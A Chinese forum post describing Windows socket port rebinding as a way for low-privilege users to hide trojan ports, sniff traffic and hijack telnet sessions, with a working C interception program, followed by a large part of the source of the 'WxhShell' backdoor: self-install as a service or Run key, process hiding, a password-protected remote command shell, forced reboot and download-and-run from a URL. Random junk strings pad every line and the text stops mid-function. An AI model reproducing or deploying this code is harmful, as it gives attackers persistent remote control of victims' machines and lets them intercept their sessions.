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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ({i|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rhUZ9Fdv  
oiR` \uY  
  saddr.sin_family = AF_INET; UbuxD})  
\LS%bO,Y|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eM~i (]PY  
XM_S"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VLOyUt~O#  
|0 Zj/1<$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8)H"w$jq  
N4D_ 43jz  
  这意味着什么?意味着可以进行如下的攻击: i?|SC=  
F 'h[g.\}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,$G89jSM  
^7_<rs   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) */S ,CV  
koie  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZERd#7@m+  
2s(K4~ee  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :r~?Z6gK  
Nls|R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -BjB>Vt  
,Wdyg8&.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $4eogI7N>w  
u{_T,k<!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V8N<%/ A=  
C( r?1ma  
  #include S5uV\Y/A  
  #include }SOj3.9{c  
  #include 9PGSr4V 1  
  #include    E@N_~1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z3$PrK%  
  int main() ;PbyR}s  
  { 3*'!,gK~[  
  WORD wVersionRequested; M`5^v0,C  
  DWORD ret; +V0uH pm  
  WSADATA wsaData; M2m@N-+R   
  BOOL val; T[7- 3[w<)  
  SOCKADDR_IN saddr; Aimgfxag  
  SOCKADDR_IN scaddr; mM95BUB  
  int err; \"uR&D  
  SOCKET s; 3|~(9b{+  
  SOCKET sc; &KD m5p  
  int caddsize; z?K+LTf8  
  HANDLE mt; IYrO;GQ  
  DWORD tid;   PmTA3aH  
  wVersionRequested = MAKEWORD( 2, 2 ); &K\di*kN  
  err = WSAStartup( wVersionRequested, &wsaData ); B,A/ -B\  
  if ( err != 0 ) { C f<,\Aav  
  printf("error!WSAStartup failed!\n"); $A-b-`X  
  return -1; Dui<$jl0b  
  } .E@yB`AR  
  saddr.sin_family = AF_INET; l~\'Z2op   
   Kj}}O2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 le1'r>E$  
/*8"S mte  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); he!e~5<@y  
  saddr.sin_port = htons(23); `4$" mO>+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [jY_e`S  
  { g~`UC  
  printf("error!socket failed!\n"); Qn6&M  
  return -1; Dn9Ta}miTO  
  } |KkVt]ZQe9  
  val = TRUE; q3 9 RD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J%%nv5y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +nZx{d,wt  
  { 92S<TAdPP  
  printf("error!setsockopt failed!\n"); NB LOcRSh  
  return -1; UoBu0Rx  
  } I*'QD)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fD V:ueO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p6>3 p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z m_mLk$4H  
:xv"m {8+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |2^cPnv?G&  
  { )=2iGEVW  
  ret=GetLastError(); RW%e%  
  printf("error!bind failed!\n"); 02bv0  
  return -1; ^e)KEkh  
  } Dy5'm?  
  listen(s,2); J6=*F;x6E  
  while(1) XlR.Y~  
  { ECQ>VeP  
  caddsize = sizeof(scaddr); 29}(l#S}m  
  //接受连接请求 uh@ZHef[l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D/Bb)]9I  
  if(sc!=INVALID_SOCKET) Y}ITA=L7  
  { 0oc5ahp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1VH7z  
  if(mt==NULL) f)/Yru. ;  
  { ^jqQG+`?  
  printf("Thread Creat Failed!\n"); -NHc~=m  
  break; \za 0?b  
  } R$_#7>3  
  } %^kBcId  
  CloseHandle(mt); IL*C/y  
  } E2+O-;VN  
  closesocket(s); 4ZSc'9e9  
  WSACleanup(); ~#pQWa5  
  return 0; ]?-8[v~{C  
  }   `[X5mEe  
  DWORD WINAPI ClientThread(LPVOID lpParam) {f<2VeJ  
  { j/ow8Jmc*  
  SOCKET ss = (SOCKET)lpParam; vYcea  
  SOCKET sc; 0 z.oPV@  
  unsigned char buf[4096]; bM+}j+0  
  SOCKADDR_IN saddr; W0R<^5_  
  long num; 7vF+Di(B  
  DWORD val; L9W'TvTwo  
  DWORD ret; 6Q"fRXM   
  //如果是隐藏端口应用的话,可以在此处加一些判断 8{^zXJi]m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {mr!E  
  saddr.sin_family = AF_INET; Py_yIwQqg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p48m k  
  saddr.sin_port = htons(23); Na=.LW-ma=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FhpS#, Y$  
  { Utd`T+AF*  
  printf("error!socket failed!\n"); CC"}aV5  
  return -1; bvzNur_  
  } Qu"zzb"k  
  val = 100; Ymt.>8L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QM wrt  
  { {wA(%e3_  
  ret = GetLastError(); rvfS[@>v  
  return -1; YS],o'T  
  } /u?ZwoTzY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (q o ?e2K  
  { @$mh0K>  
  ret = GetLastError(); \USl 9*E  
  return -1; S*PcK>  
  } .=G ?Zd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6,Z.R T{5  
  { ^`iqa-1  
  printf("error!socket connect failed!\n"); y Ny,$1  
  closesocket(sc); `-Y8T\  
  closesocket(ss); f(S9>c2  
  return -1; 7C / ^ Gw  
  } pz4lC=H%o  
  while(1) @qUgp*+{  
  { 7up~8e$_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <DR$WsDG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 " l;=jk]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8f`r!/j  
  num = recv(ss,buf,4096,0); ;}B6`v  
  if(num>0) a=_:`S]}  
  send(sc,buf,num,0); .o#A(3&n  
  else if(num==0) >p*7)  
  break; WQiIS0BJ *  
  num = recv(sc,buf,4096,0); n?(sn  
  if(num>0) _9f7@@b  
  send(ss,buf,num,0); utzf7?nIS  
  else if(num==0) /Z| K9a  
  break; 7?@ -|{  
  } 0<FT=tKm  
  closesocket(ss); `;Od0uh  
  closesocket(sc); slnvrel  
  return 0 ; l6T^e@*  
  } :8t;_f  
#J'V,_ wH  
Suo%uD  
========================================================== \RS0mb  
oL U!x  
下边附上一个代码,,WXhSHELL #;0F-pt  
@rP#ktz]  
========================================================== laRn![[  
s5\<D7  
#include "stdafx.h" H krhd   
\MDhm,H<  
#include <stdio.h> a! 3eZ,  
#include <string.h> b5)1\ANq  
#include <windows.h> yZ-Ql1 1  
#include <winsock2.h> BU<Qp$ &  
#include <winsvc.h> z2iWr  
#include <urlmon.h> )YVs=0j  
s|][p|  
#pragma comment (lib, "Ws2_32.lib") 0nPg`@e.  
#pragma comment (lib, "urlmon.lib") r ?<?0j  
GdM|?u&s"  
#define MAX_USER   100 // 最大客户端连接数 ;w;+<Rd  
#define BUF_SOCK   200 // sock buffer %O9P|04]3  
#define KEY_BUFF   255 // 输入 buffer |RH^|2:x9Q  
DfjDw/{U3L  
#define REBOOT     0   // 重启 ]u.)6{  
#define SHUTDOWN   1   // 关机 TB_OFbI2  
m~tv{#Y  
#define DEF_PORT   5000 // 监听端口 G;e)K\[J  
&8dj*!4H  
#define REG_LEN     16   // 注册表键长度 `j4OKZ  
#define SVC_LEN     80   // NT服务名长度 a+B3`6  
PKZMuEEy,  
// 从dll定义API nTE\EZ+=2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G[+{[W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $\aJ.N6rb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "`V:4uz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S" PJ@E}^E  
&<Fw  
// wxhshell配置信息 Hv*+HUc(:  
struct WSCFG { b2^O$ l  
  int ws_port;         // 监听端口 8aY}b($*ZI  
  char ws_passstr[REG_LEN]; // 口令 , _bG'Hmt  
  int ws_autoins;       // 安装标记, 1=yes 0=no L;U?s2&Y  
  char ws_regname[REG_LEN]; // 注册表键名 POQ4&ChA  
  char ws_svcname[REG_LEN]; // 服务名 )%q )!x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lT8^BT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +hIMfhF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hM[I}$M&O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2 U3WH.o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" % O*)'ni  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]x@36Ok)A  
RWZjD#5%Z  
}; $*7AG  
[ z{ }?  
// default Wxhshell configuration ~V/?/J$  
struct WSCFG wscfg={DEF_PORT, |iVw7M:  
    "xuhuanlingzhe", X1="1{8H  
    1, [?n}?0  
    "Wxhshell", 4EJ6Zy![0*  
    "Wxhshell", T*#<p;  
            "WxhShell Service", CMfR&G,)  
    "Wrsky Windows CmdShell Service", 30QQnMH3  
    "Please Input Your Password: ", `llSHsIkXb  
  1, AE4>pzBe  
  "http://www.wrsky.com/wxhshell.exe", \P9HAz'6  
  "Wxhshell.exe" - P'c0I9z  
    }; { pu .l4nk  
XtIY8wsP  
// 消息定义模块 gal.<SVW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jxZd =%7Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &Fl* ,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \)BDl  
char *msg_ws_ext="\n\rExit."; T]?QCf  
char *msg_ws_end="\n\rQuit."; !}Ty"p`  
char *msg_ws_boot="\n\rReboot..."; Jek)`D  
char *msg_ws_poff="\n\rShutdown..."; WC 5v#*Jd  
char *msg_ws_down="\n\rSave to "; 6M@m`c  
3qq 6X?y*  
char *msg_ws_err="\n\rErr!"; ?N@p~ *x  
char *msg_ws_ok="\n\rOK!"; R^GLATM  
x2z%J,z@4  
char ExeFile[MAX_PATH]; `L {dF  
int nUser = 0; OEs!H]v  
HANDLE handles[MAX_USER]; +#g?rCz  
int OsIsNt; ,7izrf8  
3,{tGNl|  
SERVICE_STATUS       serviceStatus; #'Lt_Yf!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AME6Zu3Y  
.p(~/MnO  
// 函数声明 <@:LONe<  
int Install(void); LxxFosi8  
int Uninstall(void); ( O/+.qb  
int DownloadFile(char *sURL, SOCKET wsh); Zk n1@a  
int Boot(int flag); P6o-H$ a+  
void HideProc(void); "e~"-B7(\Y  
int GetOsVer(void); B$%7U><'  
int Wxhshell(SOCKET wsl); w1P8p>vA1  
void TalkWithClient(void *cs); j%OnLTZ  
int CmdShell(SOCKET sock); *27*&&=)H  
int StartFromService(void); `Hq)g1a7q  
int StartWxhshell(LPSTR lpCmdLine); qlfYX8edZ  
=o+))R4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]Vgl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fF} NPl  
'1yy&QUZq  
// 数据结构和表定义 N>4uqFo  
SERVICE_TABLE_ENTRY DispatchTable[] = *,d>(\&[f  
{ zE\@x+k.  
{wscfg.ws_svcname, NTServiceMain}, Xm}~u?$3  
{NULL, NULL} VwV`tKit  
}; FGG 7;0(  
F,-S&d  
// 自我安装 1V37% D  
int Install(void) \;Ywr3  
{ wIT}>8o  
  char svExeFile[MAX_PATH]; G(XI TL u*  
  HKEY key; QcDWVM'v  
  strcpy(svExeFile,ExeFile); *PjW,   
;Y>cegG\  
// 如果是win9x系统,修改注册表设为自启动 `+/xA\X]  
if(!OsIsNt) { uZ(j"y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r&t)%R@q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HrZ\=1RB  
  RegCloseKey(key); ymLhSF][  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BI,j/SRK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5B'};AQ  
  RegCloseKey(key); N{<=s]I%x  
  return 0; :}Tw+S5  
    } ,Si23S\  
  } `2@t) :  
} j&. MT@  
else { HV??B :  
\e/'d~F  
// 如果是NT以上系统,安装为系统服务 &T8prE?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6NV- &0 _  
if (schSCManager!=0) {1y-*@yU(  
{ <|s9@;(I  
  SC_HANDLE schService = CreateService 0 pH qNlb  
  ( 8h#/b1\  
  schSCManager, U. 1Vpfy  
  wscfg.ws_svcname, Ny>tJ~I  
  wscfg.ws_svcdisp, ?[\(i)]  
  SERVICE_ALL_ACCESS, / W}Za&]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i`^`^Ka  
  SERVICE_AUTO_START, #qk A*WP  
  SERVICE_ERROR_NORMAL, VR>;{>~  
  svExeFile, DdTTWp/  
  NULL, byYdX'd.  
  NULL, ! Q`GA<ikv  
  NULL, 7B$iM,}.b  
  NULL, ;K:)R_H  
  NULL ~h] <E  
  ); g(\FG  
  if (schService!=0) Dq!Vo;s2  
  { Y#_,Ig5.  
  CloseServiceHandle(schService); `/'Hq9$F<"  
  CloseServiceHandle(schSCManager); H[guJ)4#@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 32=Gq5pOc  
  strcat(svExeFile,wscfg.ws_svcname); M?4)U"_VE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ctxs]S tU%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WlF"[mU-  
  RegCloseKey(key); ]k%Yz@*S  
  return 0; zxtx~XO  
    } 0+0+%#?  
  } LqTyE  
  CloseServiceHandle(schSCManager); yAoJ?<4^W  
} [0D( PV(n  
} yVm~5Y&Z  
Vh:%e24Z  
return 1; ?k~(E`ZE3  
} 2l#Ogn`k  
\iAkF`OC  
// 自我卸载 /i$ mIj`  
int Uninstall(void) *M5 =PQfb  
{ 2JZf@x+}  
  HKEY key; 'H2TwSbIXI  
vBUx )l  
if(!OsIsNt) { @kUCc1LT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zg&<HJO  
  RegDeleteValue(key,wscfg.ws_regname); ,V!s w5_5m  
  RegCloseKey(key); ow*) 1eo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uu{I4ls6B  
  RegDeleteValue(key,wscfg.ws_regname); 8/*q#j  
  RegCloseKey(key); !Ac<A.  
  return 0; bort2k  
  } [y| "iSD  
} |jV>  
} A^2VH$j]+  
else { 9@ 6y(#s  
*D1 ^Se  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rG1l:Z)  
if (schSCManager!=0) tK6z#)  
{ _6&x$ *O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ 9D, f  
  if (schService!=0) 3(G}IWPq<  
  { <<gk< _7`  
  if(DeleteService(schService)!=0) { 8[U1{s:J  
  CloseServiceHandle(schService); D\]gIXg  
  CloseServiceHandle(schSCManager); yf+M  
  return 0; Z:W6@j-~  
  } XP<wHh  
  CloseServiceHandle(schService); i ~fkjn  
  } ,qV8(`y_  
  CloseServiceHandle(schSCManager); twU^ewO&  
} F6R+E;"4R'  
} BB5(=n+  
@dQIl#  
return 1; \];0S4SBy  
} cdfJa  
1GKd*z  
// 从指定url下载文件 pb1/HhRR^n  
int DownloadFile(char *sURL, SOCKET wsh) okJ+Yl.[?7  
{ MZ o\1tU-i  
  HRESULT hr; Mfe/(tlI  
char seps[]= "/"; ciVN-;vi  
char *token; 4%1sOnl  
char *file; `P<}MeJ\l  
char myURL[MAX_PATH]; PjNOeI@G  
char myFILE[MAX_PATH]; I}Uj"m`>  
/) Bk r/  
strcpy(myURL,sURL); `z%f@/:fG  
  token=strtok(myURL,seps); Hj't.lg+j  
  while(token!=NULL) {/G~HoY1i  
  { &p=Uus  
    file=token; Y~#m-y  
  token=strtok(NULL,seps); GZ,`?  
  } yEIM58l  
hdt;_qa   
GetCurrentDirectory(MAX_PATH,myFILE); w%R(*,r6  
strcat(myFILE, "\\"); \,)('tUE  
strcat(myFILE, file); t?f2*N :  
  send(wsh,myFILE,strlen(myFILE),0); @S\!wjl]C  
send(wsh,"...",3,0); F)_jW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]W39HL  
  if(hr==S_OK) <VI.A" Qk~  
return 0; 5H#f;L\k  
else cO%-Av~P  
return 1; .1<QB{4~v  
F \6-s`(  
} l Os91+.%  
-J*BY2LU3f  
// 系统电源模块 TG 9 a1q  
int Boot(int flag) ,Z*&QR  
{ *Z'*^Y1le  
  HANDLE hToken;  @v &hr  
  TOKEN_PRIVILEGES tkp; x9Um4!/t  
y(/"DUx  
  if(OsIsNt) { EYWRTh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c-1,((p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o;5 J=  
    tkp.PrivilegeCount = 1; `&y Qtj# '  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2GeJ\1k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7u7`z%  
if(flag==REBOOT) { R5OP=Q8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nk=+6r6  
  return 0; VRden>vKN  
} d[K71  
else { S&(MR%".  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &%eWCe+ +  
  return 0; ZcJa:  
} [ye!3h&]  
  } [0vgA#6I  
  else { A#NJ8_  
if(flag==REBOOT) { Xa o*h(Q@L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \tR](, /  
  return 0; 4-j3&(  
} -_@zyF<G  
else { Ub[SUeBGH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _[%2QwAUj*  
  return 0; |T`ZK?B+u  
} _A]8l52pt  
} &.W,Hh  
s"OP[YEke/  
return 1; /wAx#[c[  
} QjT$.pU d  
au=A+  
// win9x进程隐藏模块 }+mIP:T  
void HideProc(void) b0VEMu81k  
{ 6ij L+5  
9j94]w2v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 69q#Zw[,,  
  if ( hKernel != NULL ) "Yp:{e  
  { FS'|e?WU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jpwR\"UJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yP<ngi^s=  
    FreeLibrary(hKernel); bF2RP8?en  
  } L<D<3g|4  
D;1?IeS  
return; 0Y>5&  
} 4 H<.  
K UD.hK.  
// 获取操作系统版本 e:9s%|]T  
int GetOsVer(void) q g2 fTe  
{ X&LaAqlSG  
  OSVERSIONINFO winfo; s78MXS?py  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 4,('+  
  GetVersionEx(&winfo); \=1$$EDS9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6y+_x'  
  return 1; ?d!*[Ke8  
  else 60\`TsFobT  
  return 0; I%|,KWM  
} '^|u\$&U  
?<;9=l\Q  
// 客户端句柄模块 G-6k[-@-v  
int Wxhshell(SOCKET wsl) !-veL1r  
{ tFEY8ut{  
  SOCKET wsh; Rs@>LA  
  struct sockaddr_in client; eG_@WLxwD  
  DWORD myID; 4j1$1C{  
MD):g @  
  while(nUser<MAX_USER) F$sDmk#  
{ _j\GA6  
  int nSize=sizeof(client); Q]{ `m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eF"k"Ckt'  
  if(wsh==INVALID_SOCKET) return 1; ]?7q%7-e.a  
ey]WoUZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nov)'2g7G  
if(handles[nUser]==0) ^qY?x7mx1  
  closesocket(wsh); Y'^+ KU  
else 9u;/l#?@T  
  nUser++; vbh 5  
  } 3iIURSG@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `N}aV Ns  
e?7Oom  
  return 0; s'^sT=b  
} } *jmW P  
p:;`X!  
// 关闭 socket |s'5 ~+  
void CloseIt(SOCKET wsh) L O;?#e7  
{ r i/CLq^D  
closesocket(wsh); $(]E$ek  
nUser--; N(l  
ExitThread(0); n_{az{~  
} "x0/i?pqa  
]]NTvr  
// 客户端请求句柄 _+9o'<#u(  
void TalkWithClient(void *cs) z5J$".O`  
{ }60/5HNr  
.(7m[-iF!  
  SOCKET wsh=(SOCKET)cs; hCb2<_3CR  
  char pwd[SVC_LEN]; (DkfLadB  
  char cmd[KEY_BUFF]; c2u*<x  
char chr[1]; n%6ba77  
int i,j; []$L"?]0uk  
OH13@k  
  while (nUser < MAX_USER) { v~A*?WU;n  
{kghZur  
if(wscfg.ws_passstr) { 4" pU\g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {TZV^gT4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d"tR ?j  
  //ZeroMemory(pwd,KEY_BUFF); ]*hH.ZBY"^  
      i=0; qfX26<q  
  while(i<SVC_LEN) { >9NC2%61S  
`B~zB=}  
  // 设置超时 [:zP]l.|  
  fd_set FdRead; -zzoz x]S=  
  struct timeval TimeOut; w6h*dh$w  
  FD_ZERO(&FdRead); #||D,[ _=+  
  FD_SET(wsh,&FdRead); 3lTnfc&  
  TimeOut.tv_sec=8; L_tjclk0J  
  TimeOut.tv_usec=0; Us.k,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *L~?.9R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Omi/sKFMi  
==BOW\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !zsrORF{  
  pwd=chr[0]; ?\kuP ?\  
  if(chr[0]==0xd || chr[0]==0xa) { dtE"1nR  
  pwd=0; i5=~tS  
  break; #hP>IU  
  } DN iH" 0%  
  i++; %P{3c~?DH  
    } h#c7v !g  
e0#t  
  // 如果是非法用户,关闭 socket K9]zUe&#w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `H 'wz7  
} E *IP#:R  
EqGpo_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1w,34*-}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +,]VXH<y  
*H i}FI  
while(1) { !{{gL=_@  
C,A/29R,s  
  ZeroMemory(cmd,KEY_BUFF); T:Ovh.$  
B=$O4nW_b  
      // 自动支持客户端 telnet标准   ksCF"o /@V  
  j=0; Yg,;l-1  
  while(j<KEY_BUFF) { ^ g|VZN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nMZ)x-  
  cmd[j]=chr[0]; ZzjCS2U  
  if(chr[0]==0xa || chr[0]==0xd) { 1D3 8T  
  cmd[j]=0; n I&p.i6  
  break; znPh7{|<  
  } (KwC,0p  
  j++; !nvg:$.&  
    } 4P"bOt5izR  
*nHuGla  
  // 下载文件 "*.N'J\  
  if(strstr(cmd,"http://")) { pkae91  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kY!zBk  
  if(DownloadFile(cmd,wsh)) ~;a \S3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k& +gkJm  
  else lSW'qgh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wwywiFj  
  } *z)gSX  
  else { }]PHE(}7  
G}^=(,jl  
    switch(cmd[0]) { zTj ie  
  i>]PW|]  
  // 帮助 l_yF;5|?z  
  case '?': { $+_1F`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KYtCN+vsG  
    break; *i^$xjOa  
  } } `r.fD  
  // 安装 _@!vF,Wcf  
  case 'i': { ooUVVp  
    if(Install()) .ex;4( -!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !?0C(VL(:  
    else 8K-P]]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HXSryjF?  
    break; V%PQlc.X  
    } QfAmGDaYQ  
  // 卸载 }Le]qoW['  
  case 'r': { q,@# cQBV  
    if(Uninstall()) (0b\%;}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2O Ur">_  
    else o]Ne|PEpO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xZ P SUEG  
    break; 7Tdx*1 U  
    } L r"cO|F  
  // 显示 wxhshell 所在路径 qe{;EH*  
  case 'p': { 4RB%r  
    char svExeFile[MAX_PATH]; zpT^:Ag  
    strcpy(svExeFile,"\n\r"); KFHZ3HZ:>  
      strcat(svExeFile,ExeFile); ].kj-,5>f  
        send(wsh,svExeFile,strlen(svExeFile),0); ' QG`^@Z  
    break; XV]xym~  
    } 8+}rm6Y+  
  // 重启 <3BGW?=WP  
  case 'b': { l3>e-kP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x0J W  
    if(Boot(REBOOT)) # euG$(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `x/i1^/_@  
    else { x>Q% hl  
    closesocket(wsh); ' Xj^cX  
    ExitThread(0); [;Lgbgt3f  
    } V&:x+swt  
    break; /qy6YF8;y  
    } m\XsU?SuX  
  // 关机 !>> A@3  
  case 'd': { %K|f,w=m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M' z.d  
